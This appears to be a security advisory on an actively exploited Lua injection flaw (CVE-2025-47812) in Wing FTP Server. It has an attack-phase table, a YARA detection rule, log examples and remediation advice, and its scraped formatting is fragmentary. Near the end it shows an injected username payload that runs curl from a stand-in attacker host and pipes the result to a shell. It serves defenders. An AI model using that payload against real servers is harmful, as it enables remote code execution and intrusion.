A critical Lua injection vulnerability (CVE‑2025‑47812) in Wing FTP Server is now under active exploitation, allowing unauthenticated attackers to execute arbitrary Lua scripts during authentication. The flaw has been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring mandatory patching by August 9, 2025.
POST /admin_login
, FTP AUTH
, or REST login
)OnUserLogin
or custom login handlerPhase | Technique |
---|---|
Initial Access | Lua injection during login |
Execution | os.execute("cmd.exe") or shell payloads |
Persistence | Backdoor Lua scripts via .lua files |
Exfiltration | Abuse of FTP/SFTP to leak files |
Evasion | Obfuscated Lua + encoded payloads |
yararule WingFTPLuaExploit
{
strings:
$lua1 = "os.execute("
$lua2 = "io.popen("
$lua3 = "require('socket')"
condition:
any of ($lua*) and filesize < 10KB
}
vbnet/log/wftp.log:
[WARN] Lua error in OnUserLogin: attempt to call global 'os'...
[INFO] Unusual script activity from IP: 45.82.XXX.XXX
✅ Immediate Actions:
/scripts
, /system
)✅ Network Recommendations:
lua-- Injected in username field
username = "admin'); os.execute('curl http://attacker.com/shell.sh | sh'); --"
CISA mandates all federal systems patch CVE‑2025‑47812 before August 9, 2025, under Binding Operational Directive (BOD) 22-01. Organizations should treat this as critical if running Wing FTP in public-facing infrastructure.
“Lua-based customization makes Wing FTP flexible but exploitable. Always sandbox dynamic scripting, especially in auth paths. This is a classic case of feature becoming an exploit vector when input isn’t sanitized.”